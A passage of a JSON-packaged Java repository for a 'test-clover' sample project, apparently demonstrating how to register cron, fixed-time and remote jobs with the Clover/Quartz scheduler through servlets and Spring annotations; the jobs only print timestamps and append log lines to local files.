</build>\r\n</project>"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/init/InitAllJobWithServlet.java",
    "content": "package com.gome.testclover.init;\r\n\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.gome.testclover.localjob.CronLocalJob;\r\nimport com.gome.testclover.remotejob.RemoteCronJob;\r\n\r\nimport javax.servlet.ServletConfig;\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.http.HttpServlet;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:test-clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/11\r\n * Time: 20:26\r\n */\r\npublic class InitAllJobWithServlet extends HttpServlet {\r\n    @Override\r\n    public void init(ServletConfig config) throws ServletException {\r\n        String jobGroup1 =\"CronLocalJobGroup\";\r\n        String  jobName1=\"CronLocalJobName\";\r\n        String cronExpression1 = \"0/10 * * * * ?\";\r\n        ClientJob clientJob1 = ClientJobBuilder.quickBuildLocalCronJob(jobGroup1, jobName1, CronLocalJob.class,cronExpression1);\r\n        clientJob1.setRecoverJobFromDB(true);//是否恢复数据每次启动容器\r\n        ModuleSchedulerClient.getInstance().handlerJob(clientJob1);\r\n\r\n        String jobGroup2 = \"RomoteCronJob1Group\";\r\n        String  jobName2 = \"RomoteCronJobName\";\r\n        String cronExpression2 = \"0/10 * * * * ?\";\r\n        ClientJob clientJob2 = ClientJobBuilder.quickBuildRemoteCronJob(jobGroup2, jobName2, RemoteCronJob.class, cronExpression2);\r\n        ModuleSchedulerClient.getInstance().startupForLocalJobTest();\r\n        ModuleSchedulerClient.getInstance().handlerJob(clientJob2);\r\n    }\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/init/InitServletWithSchedulerClientInitial.java",
    "content": "package com.gome.testclover.init;\r\n\r\nimport com.gome.clover.client.module.SchedulerClientInitial;\r\nimport com.gome.testclover.spring.MyRemoteJob;\r\n\r\nimport javax.servlet.ServletException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Init Servlet With Scheduler ClientInitial\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/17\r\n * Time: 11:42\r\n */\r\npublic class InitServletWithSchedulerClientInitial {\r\n\r\n    public void init(){\r\n        List jobClassList = new ArrayList();\r\n        jobClassList.add(MyRemoteJob.class.getName());\r\n        boolean isRegisterToZK = true;\r\n        boolean isStartupMQ = true;\r\n        String port = \"-1\";\r\n        String systemId=\"test-clover\";\r\n        String token = \"\";\r\n        try {\r\n            new SchedulerClientInitial().init(jobClassList,isRegisterToZK,isStartupMQ,port,systemId,token);\r\n        } catch (ServletException e) {\r\n            e.printStackTrace();\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/init/InitServletWithStartup.java",
    "content": "package com.gome.testclover.init;\r\n\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.gome.testclover.spring.MyRemoteJob;\r\n\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.http.HttpServlet;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Init Servlet With Startup\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/17\r\n * Time: 11:34\r\n */\r\npublic class InitServletWithStartup extends HttpServlet {\r\n    @Override\r\n    public void init() throws ServletException {\r\n        super.init();\r\n        List jobClassList = new ArrayList();\r\n        jobClassList.add(MyRemoteJob.class.getName());\r\n        boolean isRegisterToZK = true;\r\n        boolean isStartupMQ = true;\r\n        String port = \"-1\";\r\n        String systemId=\"test-clover\";\r\n        String token = \"\";\r\n        ModuleSchedulerClient.getInstance().startup(jobClassList,isRegisterToZK,isStartupMQ,port,systemId,token);\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/init/InitSpringAnnotationWithStartup.java",
    "content": "package com.gome.testclover.init;\r\n\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.gome.testclover.spring.MyRemoteJob;\r\nimport org.springframework.stereotype.Component;\r\n\r\nimport javax.annotation.PostConstruct;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Init Spring Annotation With Startup\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/17\r\n * Time: 11:39\r\n */\r\n@Component\r\npublic class InitSpringAnnotationWithStartup {\r\n\r\n    @PostConstruct\r\n    public void init() {\r\n        System.err.println(\"InitSpringAnnotationWithStartup--->>>init().....\");\r\n        List jobClassList = new ArrayList();\r\n        jobClassList.add(MyRemoteJob.class.getName());\r\n        boolean isRegisterToZK = true;\r\n        boolean isStartupMQ = true;\r\n        String port = \"-1\";\r\n        String systemId=\"test-clover\";\r\n        String token = \"\";\r\n        ModuleSchedulerClient.getInstance().startup(jobClassList,isRegisterToZK,isStartupMQ,port,systemId,token);\r\n\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/localjob/CronLocalJob.java",
    "content": "package com.gome.testclover.localjob;\r\n\r\nimport com.gome.clover.client.job.LocalJob;\r\nimport org.quartz.JobExecutionContext;\r\n\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\n\r\npublic class CronLocalJob extends LocalJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\t// TODO Auto-generated method stub\r\n\t\tSystem.err.println(\"CronLocalJob--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\r\n\t}\r\n\tpublic static void main(String[] args) {\r\n\t\tString jobGroup =\"CronLocalJobGroup1\";\r\n\t\tString  jobName=\"CronLocalJobName1\";\r\n\t\tString cronExpression = \"0/10 * * * * ?\";\r\n\t\tClientJob clientJob = ClientJobBuilder.quickBuildLocalCronJob(jobGroup, jobName, CronLocalJob.class,cronExpression);\r\n\t\tModuleSchedulerClient.getInstance().startupForLocalJobTest();\r\n\t\tclientJob.setRecoverJobFromDB(true);\r\n\t\tModuleSchedulerClient.getInstance().handlerJob(clientJob);\r\n\t\t\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/localjob/FixedTimeLocalJob.java",
    "content": "package com.gome.testclover.localjob;\r\n\r\nimport java.util.Date;\r\n\r\nimport com.gome.clover.client.job.LocalJob;\r\nimport org.quartz.JobExecutionContext;\r\n\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\n\r\npublic class FixedTimeLocalJob extends LocalJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\t// TODO Auto-generated method stub\r\n\t\tSystem.err.println(\"FixedTimeLocalJob--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\r\n\t}\r\n\tpublic static void main(String[] args) {\r\n\t\tString jobGroup =\"FixedTimeLocalJobGroup\";\r\n\t\tString  jobName=\"FixedTimeLocalJobName\";\r\n\t\tDate startTime= DateUtils.formatWithDefaultPattern(\"2014-12-09 15:50:20\");\r\n\t\tClientJob clientJob = ClientJobBuilder.quickBuildLocalJobWithStartDate(jobGroup, jobName, FixedTimeLocalJob.class,startTime);\r\n\t\tModuleSchedulerClient.getInstance().startupForLocalJobTest();\r\n\t\tModuleSchedulerClient.getInstance().handlerJob(clientJob);\r\n\t\t\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/localjob/LocalJobTest.java",
    "content": "package com.gome.testclover.localjob;\r\n\r\nimport java.util.Date;\r\n\r\nimport org.junit.Test;\r\n\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\n\r\npublic class LocalJobTest {\r\n\t@Test\r\n\tpublic void testFixedTimeLocalJob(){\r\n\t\tString jobGroup =\"FixedTimeLocalJobGroup\";\r\n\t\tString  jobName=\"FixedTimeLocalJobName\";\r\n\t\tDate startTime= DateUtils.formatWithDefaultPattern(\"2014-12-09 15:40:20\");\r\n\t\tClientJob clientJob = ClientJobBuilder.quickBuildLocalJobWithStartDate(jobGroup, jobName, FixedTimeLocalJob.class,startTime);\r\n\t\tModuleSchedulerClient.getInstance().startupForLocalJobTest();\r\n\t\tModuleSchedulerClient.getInstance().handlerJob(clientJob);\r\n\t}\r\n\t\r\npublic static void main(String[] args) {\r\n\tString jobGroup =\"FixedTimeLocalJobGroup\";\r\n\tString  jobName=\"FixedTimeLocalJobName\";\r\n\tDate startTime= DateUtils.formatWithDefaultPattern(\"2014-12-09 15:50:20\");\r\n\tClientJob clientJob = ClientJobBuilder.quickBuildLocalJobWithStartDate(jobGroup, jobName, FixedTimeLocalJob.class,startTime);\r\n\tModuleSchedulerClient.getInstance().startupForLocalJobTest();\r\n\tModuleSchedulerClient.getInstance().handlerJob(clientJob);\r\n\t\r\n}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/remotejob/RemoteCronJob.java",
    "content": "package com.gome.testclover.remotejob;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport org.quartz.JobExecutionContext;\r\n\r\npublic class RemoteCronJob extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteCronJob--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\r\n\t}\r\n\tpublic static void main(String[] args) {\r\n\t\tString jobGroup =\"RemoteCronJob1Group1\";\r\n\t\tString  jobName=\"RemoteCronJobName1\";\r\n\t\tString cronExpression = \"0/10 * * * * ?\";\r\n\t\tClientJob clientJob = ClientJobBuilder.quickBuildRemoteCronJob(jobGroup, jobName, RemoteCronJob.class,cronExpression);\r\n\t\tModuleSchedulerClient.getInstance().startupForLocalJobTest();\r\n\t\t//clientJob.setRecoverJobFromDB(true);\r\n\t\tModuleSchedulerClient.getInstance().handlerJob(clientJob);\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/MyRemoteJob.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:RemoteJob\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/22\r\n * Time: 12:24\r\n */\r\npublic class MyRemoteJob implements Job {\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        System.err.println(\"RemoteJob--->>>execute(JobExecutionContext) @\" + DateUtils.currentDateTime());\r\n    }\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteCronJobWithSpringAnnotation.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.common.annotation.CloverJobAnnotation;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.springframework.stereotype.Component;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Log4j ConfigListener\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 10:55\r\n */\r\n@Component\r\n@CloverJobAnnotation(jobGroup = \"RemoteCronJobWithSpringAnnotationGroup\", jobName = \"RemoteCronJobWithSpringAnnotationName\",\r\n        jobType = ClientJob.JobType.REMOTE, executeType = ClientJob.ExecuteType.ADD,jobStrategy =ClientJob.JobStrategy.SYSTEM_CAPACITY\r\n        ,cronExpression = \"0/50 * * * * ?\")\r\npublic class RemoteCronJobWithSpringAnnotation extends com.gome.clover.client.job.RemoteJob {\r\n    @Override\r\n    public void executeJob(JobExecutionContext arg0) {\r\n        System.err.println(\"RemoteJobWithSpringAnnotation--->>>executeJob(JobExecutionContext) @\" + DateUtils.currentDateTime());\r\n        try {\r\n            String filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n            File outFile = new File(filePath + File.separatorChar + \"RemoteCronJobWithSpringAnnotation\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n            if (!outFile.getParentFile().exists()) {\r\n                outFile.getParentFile().mkdirs();\r\n            }\r\n            FileWriter fw = new FileWriter(outFile, true);\r\n            BufferedWriter bw = new BufferedWriter(fw);\r\n            StringBuffer sb = new StringBuffer();\r\n            sb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n            bw.write(sb.toString());\r\n            bw.flush();\r\n            fw.close();\r\n            bw.close();\r\n            fw.close();\r\n        } catch (IOException e) {\r\n            e.printStackTrace();\r\n        }\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteFixedDateJobWithSpringAnnotation.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.annotation.CloverJobAnnotation;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.quartz.JobExecutionContext;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Log4j ConfigListener\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 10:55\r\n */\r\n//@Component\r\n@CloverJobAnnotation(jobGroup = \"RemoteJobWithSpringAnnotationGroup\",jobName = \"RemoteJobWithSpringAnnotationName\",\r\njobType = ClientJob.JobType.REMOTE,executeType = ClientJob.ExecuteType.ADD,jobStrategy =ClientJob.JobStrategy.SYSTEM_CAPACITY,startTime=\"2014-12-12 12:12:12\")\r\npublic class RemoteFixedDateJobWithSpringAnnotation extends RemoteJob {\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJobWithSpringAnnotation--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteFixedDateJobWithSpringAnnotation\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw = new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t}\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteJob1WithSpring.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport org.quartz.JobExecutionContext;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\npublic class RemoteJob1WithSpring extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJob1WithSpring--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteJob1WithSpring\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw = new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteJob1WithSpringAnnotation.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.annotation.CloverJobAnnotation;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.springframework.stereotype.Component;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\n@Component\r\n@CloverJobAnnotation(jobGroup = \"RemoteJob1WithSpringAnnotationGroup\",jobName = \"RemoteJob1WithSpringAnnotationName\",\r\njobType = ClientJob.JobType.REMOTE,executeType = ClientJob.ExecuteType.ADD,\r\n\t\tjobStrategy =ClientJob.JobStrategy.SYSTEM_CAPACITY,cronExpression=\"0/40 * * * * ?\")\r\npublic class RemoteJob1WithSpringAnnotation extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJob1WithSpringAnnotation--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteJob1WithSpringAnnotation\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw = new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteJob2WithSpring.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport org.quartz.JobExecutionContext;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\npublic class RemoteJob2WithSpring extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJob2WithSpring--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteJob2WithSpring\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw = new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteJob2WithSpringAnnotation.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.annotation.CloverJobAnnotation;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.springframework.stereotype.Component;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\n@Component\r\n@CloverJobAnnotation(jobGroup = \"RemoteJob2WithSpringAnnotationGroup\",jobName = \"RemoteJob2WithSpringAnnotationName\",\r\njobType = ClientJob.JobType.REMOTE,executeType = ClientJob.ExecuteType.ADD,\r\n\t\tjobStrategy =ClientJob.JobStrategy.SYSTEM_CAPACITY,cronExpression=\"0/30 * * * * ?\")\r\npublic class RemoteJob2WithSpringAnnotation extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJob2WithSpringAnnotation--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteJob2WithSpringAnnotation\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw 